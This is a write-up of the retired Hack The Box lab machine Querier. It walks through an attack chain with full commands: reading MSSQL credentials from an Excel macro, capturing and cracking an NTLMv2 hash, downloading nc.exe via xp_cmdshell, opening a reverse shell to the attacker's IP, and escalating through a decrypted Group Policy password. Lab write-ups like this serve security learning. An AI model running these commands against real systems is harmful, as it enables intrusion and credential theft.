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Hack The Box - Querier
source link: https://www.tuicool.com/articles/yQZV3aQ
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Quick Summary
Hey guys today Querier retired and here’s my write-up about it. It was a great windows machine covering some interesting stuff and I enjoyed it.I wrote two posts for this machine, first one solving it with kali and the other one solving it with commando vm, you can find the second posthere. It’s a Windows box and its ip is 10.10.10.125
, I added it to /etc/hosts
as querier.htb
. Let’s jump right in!
Nmap
As always we will start with nmap
to scan for open ports and services :
nmap -sV -sT -sC querier.htb
We got smb
and mssql
server on port 1433. Let’s check smb
.
Smb
We need to list the shares first. I used smbclient
:
smbclient --list //querier.htb/ -U "" Enter WORKGROUP\'s password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reports Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to querier.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available
Obviously if there’s an anonymously accessible share it will be Reports
, Let’s see what’s in there :
root@kali:~/Desktop/HTB/boxes/querier# smbclient //querier.htb/Reports/ -U "" Enter WORKGROUP\'s password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Jan 28 18:23:48 2019 .. D 0 Mon Jan 28 18:23:48 2019 Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 2019 6469119 blocks of size 4096. 1608855 blocks available
Only an Excel file.
smb: \> get "Currency Volume Report.xlsm" getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (17.1 KiloBytes/sec) (average 17.1 KiloBytes/sec) smb: \>
root@kali:~/Desktop/HTB/boxes/querier# file Currency\ Volume\ Report.xlsm Currency Volume Report.xlsm: Microsoft Excel 2007+
MSSQL Credentials from Report.xlsm
I checked the contents of the excel file by just viewing it as it will be opened with the archive manager :
in xl
I found vbaProject.bin
so I used olevba
from oletools
to see if I can get anything :
root@kali:~/Desktop/HTB/boxes/querier# olevba Currency\ Volume\ Report.xlsm olevba 0.54.2 on Python 2.7.16 - http://decalage.info/python/oletools =============================================================================== FILE: Currency Volume Report.xlsm Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO ThisWorkbook.cls in file: xl/vbaProject.bin - OLE stream: u'VBA/ThisWorkbook' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' macro to pull data for client volume reports ' ' further testing required Private Sub Connect() Dim conn As ADODB.Connection Dim rs As ADODB.Recordset Set conn = New ADODB.Connection conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6" conn.ConnectionTimeout = 10 conn.Open If conn.State = adStateOpen Then ' MsgBox "connection successful" 'Set rs = conn.Execute("SELECT * @@version;") Set rs = conn.Execute("SELECT * FROM volume;") Sheets(1).Range("A1").CopyFromRecordset rs rs.Close End If End Sub ------------------------------------------------------------------------------- VBA MACRO Sheet1.cls in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |Suspicious|Open |May open a file | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+
Great, we got connection credentials for the mssql
server :
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
MSSQL
I used mssqlclient.py
from impacket
to connect to the server. First attempt failed :
root@kali:~/Desktop/HTB/boxes/querier# /opt/impacket/examples/mssqlclient.py [email protected] -db volume Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation Password: [*] Encryption required, switching to TLS [-] ERROR(QUERIER): Line 1: Login failed for user 'reporting'.
I added the windows authentication option ( -windows-auth
) and it worked :
Unfortunately … permission denied for xp_cmdshell
:
SQL> enable_xp_cmdshell [-] ERROR(QUERIER): Line 105: User does not have permission to perform this action. [-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement. [-] ERROR(QUERIER): Line 105: User does not have permission to perform this action. [-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
I ran responder
( responder -I tun0
) and used xp_dirtree
to see what hashes can I catch :
[+] Listening for events... [SMBv2] NTLMv2-SSP Client : 10.10.10.125 [SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc [SMBv2] NTLMv2-SSP Hash : mssql-svc::QUERIER:53af3039d4607fd0:2423D19E432FFDDC2E4BF3B1E45272A5:0101000000000000C0653150DE09D201C11337A1C52B6EA7000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000051E8A512CD87D5811D02139C02C80CC4814E3213A0CCBD9EC4B588C8FCC85AD70A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310039002E0032003700000000000000000000000000 [*] Skipping previously captured hash for QUERIER\mssql-svc [SMBv2] NTLMv2-SSP Client : 10.10.10.125 [SMBv2] NTLMv2-SSP Username : \gX [SMBv2] NTLMv2-SSP Hash : gX:::1d968811d030fdad:: [*] Skipping previously captured hash for \gX
And we got the NTLMv2
hash for mssql-svc
.
I used john
and rockyou
to crack the hash :
root@kali:~/Desktop/HTB/boxes/querier# john --wordlist=/usr/share/wordlists/rockyou.txt mssql-svc.hash Created directory: /root/.john Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status corporate568 (mssql-svc) 1g 0:00:00:07 DONE (2019-06-21 07:41) 0.1321g/s 1184Kp/s 1184Kc/s 1184KC/s correforenz..corby909 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
Now it’s time to enable xp_cmdshell
and get a reverse shell.
We have RCE
. I ran a python server to host nc.exe
then I used Invoke-WebRequest
to download it :
SQL> EXEC xp_cmdshell 'powershell.exe Invoke-WebRequest -o C:\Users\mssql-svc\appdata\local\temp\nc.exe http://10.10.xx.xx/nc.exe' output --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- NULL
Then I got a reverse shell :
EXEC xp_cmdshell 'C:\Users\mssql-svc\appdata\local\temp\nc.exe -e cmd.exe 10.10.xx.xx 1337'
We owned user !
GPP, Privilege Escalation, Root Flag
One of the things to check when enumerating Windows machines is group policy passwords which happened to be the privilege escalation vector here. I checked group policy passwords and found Administrator’s password :
Groups.xml
:
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"> <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1"> <Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
We still need to decrypt the password which can be easily done using gpp-decrypt
:
root@kali:~/Desktop/HTB/boxes/querier# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ /usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated MyUnclesAreMarioAndLuigi!!1!
Password is MyUnclesAreMarioAndLuigi!!1!
. We can use it with psexec.py
from impacket
and get a shell as system :
psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@querier.htb
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read theprevious write-ups , Tweet about the write-up if you liked it , follow on twitter for awesome resources @Ahm3d_H3sham
Thanks for reading.
Second write-up : Hack The Box - Querier (Commando)
Previous Hack The Box write-up : Hack The Box - Flujab
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